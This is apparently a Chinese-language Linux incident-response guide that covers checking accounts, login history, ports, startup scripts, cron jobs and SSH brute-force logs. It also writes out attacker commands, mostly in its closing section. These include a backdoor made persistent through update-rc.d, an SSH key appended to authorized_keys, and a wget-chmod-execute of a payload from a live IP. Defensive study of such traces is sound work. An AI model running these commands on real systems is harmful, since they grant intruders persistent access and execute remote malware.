一、账号安全
1、用户信息文件
账号信息保存在:/etc/passwd
# 格式:account:password:UID:GID:GECOS:directory:shell
# 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell
root:x:0:0:root:/root:/bin/bash
# 查看可登录用户:
cat /etc/passwd | grep /bin/bash
# 查看UID=0的用户
awk -F: '$3==0{print $1}' /etc/passwd
# 查看sudo权限的用户
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
注意:无密码只允许本机登陆,远程不允许登陆
2、影子文件
影子文件保存用户的密码信息:/etc/shadow
cat /etc/shadow
# 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
3、查看当前登录用户及登录时长
# 查看当前登录系统的所有用户(tty 本地登陆 pts 远程登录)
who
4、排查用户登录信息
查看最近登录成功的用户及信息
# 显示logged in表示用户还在登录
# pts表示从SSH远程登录
# tty表示从控制台登录,就是在服务器旁边登录
last
查看最近登录失败的用户及信息:
# ssh表示从SSH远程登录
# tty表示从控制台登录
sudo lastb
显示所有用户最近一次登录信息:
lastlog
在排查服务器的时候,如果黑客没有在线,可以使用last
命令排查黑客什么时间登录的。有的黑客登录时,会将/var/log/wtmp
文件删除或者清空,这样我们就无法使用last命令获得有用的信息了。
在黑客入侵之前,必须使用
chattr +a
对/var/log/wtmp
文件进行锁定,避免被黑客删除5、sudoers文件
在
/etc/sudoers
里可以配置允许普通用户不用输密码执行特定命令/etc/sudoers
二、痕迹排查
1、清理可疑账号
# 查询特权用户特权用户(uid 为0):
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息:
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限:
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 禁用或删除多余及可疑的帐号
usermod -L user # 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user # 删除 user 用户
userdel -r user # 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
2、查看执行过的命令
通过.bash\_history
文件查看帐号执行过的系统命令
打开 /home
各帐号目录下的 .bash_history
,查看普通帐号执行的历史命令。
优化历史记录
为历史的命令增加登录的 IP 地址、执行命令时间等信息:
# 1、保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
# 2、在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
# 3、让配置生效
source /etc/profile
注意:历史操作命令的清除:history -c
该操作并不会清除保存在文件中的记录,因此需要手动删除.bash\_profile
文件中的记录
3、检查端口连接情况:
通过端口查找启动的文件路径
# 查看当前启动的端口
netstat -antlp | more
# 例如可疑端口6666,使用 ps 命令,分析得到相应pid号:
ps aux | grep 6666
# 查看 pid 所对应的进程文件路径:
ll /proc/$pid/exe
通过进程查看其打开的文件
# 根据pid号查看进程
lsof -p 6071
# 通过服务名查看该进程打开的文件
lsof -c sshd
# 通过端口号查看进程:
lsof -i :22
查看进程的启动时间点:
ps -p 6071 -o lstart
根据pid强行停止进程:
kill -9 6071
注意: 如果找不到任何可疑文件,文件可能被删除,这个可疑的进程已经保存到内存中,是个内存进程。这时需要查找PID 然后kill掉
4、检查开机启动项:
系统运行级别示意图:
运行级别 | 含义 |
---|---|
0 | 关机 |
1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
2 | 不完全的命令行模式,不含NFS服务 |
3 | 完全的命令行模式,就是标准字符界面 |
4 | 系统保留 |
5 | 图形模式 |
6 | 重启动 |
查看运行级别命令:
runlevel
开机启动配置文件:
/etc/rc.local
/etc/rc.d/rc[0~6].d
启动Linux系统时,会运行一些脚本来配置环境——rc脚本。在内核初始化并加载了所有模块之后,内核将启动一个守护进程叫做init
或init.d
。这个守护进程开始运行/etc/init.d/rc
中的一些脚本。这些脚本包括一些命令,用于启动运行Linux系统所需的服务
开机执行脚本的两种方法:
- 在/etc/rc.local的exit 0语句之间添加启动脚本。脚本必须具有可执行权限
- 用update-rc.d命令添加开机执行脚本
1、编辑修改/etc/rc.local
2、update-rc.d:此命令用于安装或移除System-V风格的初始化脚本连接。脚本是存放在/etc/init.d/
目录下的,当然可以在此目录创建连接文件连接到存放在其他地方的脚本文件。
此命令可以指定脚本的执行序号,序号的取值范围是 0-99,序号越大,越迟执行。
当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d
目录下,然后在/etc/rc.d/rc_.d
文件中建立软链接即可
语法:
update-rc.d 脚本名或服务 <remove|defaults|disable|enable>
#1、在/etc/init.d目录下创建链接文件到后门脚本:
ln -s /home/b4yi/kali-6666.elf /etc/init.d/backdoor
#2、用 update-rc.d 命令将连接文件 backdoor 添加到启动脚本中去
sudo update-rc.d backdoor defaults 99
开机即执行。
开机自启排查
more /etc/rc.local
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
5、计划任务排查
需要注意的几处利用cron的路径:
crontab -l # 列出当前用户的计时器设置
crontab -r # 删除当前用户的cron任务
上面的命令实际上是列出了/var/spool/cron/crontabs/root
该文件的内容:
/etc/crontab
只允许root用户修改/var/spool/cron/
存放着每个用户的crontab任务,每个任务以创建者的名字命名/etc/cron.d/
将文件写到该目录下,格式和/etc/crontab
相同- 把脚本放在
/etc/cron.hourly/
、/etc/cron.daily/
、/etc/cron.weekly/
、/etc/cron.monthly/
目录中,让它每小时/天/星期/月执行一次
小技巧:
#查看目录下所有文件
more /etc/cron.daily/*
6、恶意脚本排查
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
查询已安装的服务
chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"
源码包安装的服务:
查看服务安装位置 ,一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/ 查看是否存在
异常文件检查:
/var/log/wtmp
登录进入,退出,数据交换、关机和重启纪录
/var/log/lastlog
文件记录用户最后登录的信息,可用 lastlog 命令来查看。
/var/log/secure
记录登入系统存取数据的文件,例如 pop3/ssh/telnet/ftp 等都会被记录。
/var/log/cron
与定时任务相关的日志信息
/var/log/message
系统启动后的信息和错误日志
三、日志分析技巧
1、有多少IP在爆破root
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2、有哪些IP在爆破
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
3、爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
4、登录成功的IP有哪些?
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
5、登录成功的日期、用户名、IP
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
6、sudo授权执行
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
webshell查杀:
河马 WebShell 查杀:http://www.shellpub.com
Linux安全检查脚本:
https://github.com/grayddq/GScan
https://github.com/ppabc/security_check
https://github.com/T0xst/linux
参考如下:
update-rc.d的具体用法
Linux应急响应
其他命令
# 查看 /etc/rc.local 文件的内容。rc.local 是一个在系统引导时执行的脚本文件,黑客可能查看该文件以了解系统启动时执行的命令。
more /etc/rc.local
# 查看 /etc/cron.daily/ 目录下所有文件的内容。在 Linux 系统中,/etc/cron.daily/ 目录用于存放每天定时执行的任务脚本。黑客可能查看这些脚本以获取关于系统定时任务的信息。
more /etc/cron.daily/*
# 分析 /var/log/secure 文件中包含 "Failed password for root" 的行,并提取出第 11 列(IP 地址)进行统计和排序。它可能用于查找尝试使用 root 用户名进行登录但密码验证失败的记录。
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 在 /var/log/secure 文件中查找包含 "Failed password" 的行,并提取其中的 IP 地址进行计数。它可能是为了进一步分析和统计密码验证失败的来源 IP 地址
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
# 前一个命令相似,使用 Perl 脚本提取了 "Failed password" 后面的用户名,并对用户名进行计数和排序。
grep "Failed password" /var/log/secure|perl -e 'while($=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr | more
# 分析 /var/log/secure 文件中包含 "Accepted " 的行,并提取出第 11 列(IP 地址)进行统计和排序。它可能用于查找成功登录的记录。
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# 提取 /var/log/secure 文件中包含 "Accepted " 的行的特定字段,包括日期、时间、用户名和 IP 地址。它可能用于获取成功登录的详细信息。
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
# 显示当前用户的身份和权限信息。黑客可能使用该命令来了解当前用户的权限级别。
id
# 显示 authorized_keys 文件的内容。这个文件包含了允许使用 SSH 密钥进行身份验证的公钥。
cd .ssh
cat authorized_keys
# 向 authorized_keys 文件追加了一行 SSH 公钥。这意味着黑客添加了一个新的 SSH 公钥,可能是为了实现远程访问或身份验证。
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5nGoFO4Gvv392izoUroMDkKg2xX19Cb2rJ5pMQ0P7yezYJy+S07f/jyZ0lp1Z+yn0yHZHtSI/5+3ylbLeLqpYoB ytrRBYssHM8Mg7RL3Xcg9ka9XtfZezxVOAh2RkCNE8ivtJFCPeQJq/8CowJ73I0wZfdB9t/thvM3fjSqgJlbr2pSb0mWUNbHFxdpfzeY37Aml/AjR/EfFD/bfeXpyXce66SwRMadb6dApP8goI0LZBqZW2XCP8M BVdjR4CZ4SmGl9Fa8ZbhsQZsPqUfSVvo9QO4dgp+Rd2YAK3IE71IazYMXc7YrVIwA4JghKUmqxms1jU201Lz7mbmVFyaaSFAkQvO0CSCXL2xmHcLHAmfDumes0mVWhQJjpxWzaLdhakxrDcHWKv1lzEEdPpvmUw bmW3uUuZ9Oj0WmFSnfRW3lSmIfoQicX1kEWVp8CjIlhZZpY5lBmjBObtzroPbasBTULMyXd0Wi+JrrI/wCF2VG/7j27nEB4RZShG/RIcfkU= kali@DESKTOP-7QHLMDI' >> authorized_keys
# 获取当前服务器的公共 IP 地址。
curl ifconfig.me
# 显示系统的内核版本和其他相关信息。
uname -a
# 使用 wget 工具下载了一个名为 x64 的文件,并对其进行了权限设置和执行。随后,它执行了 x64 mao 命令。这个命令的具体含义取决于 x64 文件的内容,但是根据命令的形式,它可能是黑客执行的恶意代码或者后门程序。
wget http://141.98.7.17/x64; chmod 777 x64; ./x64 mao
评论(0)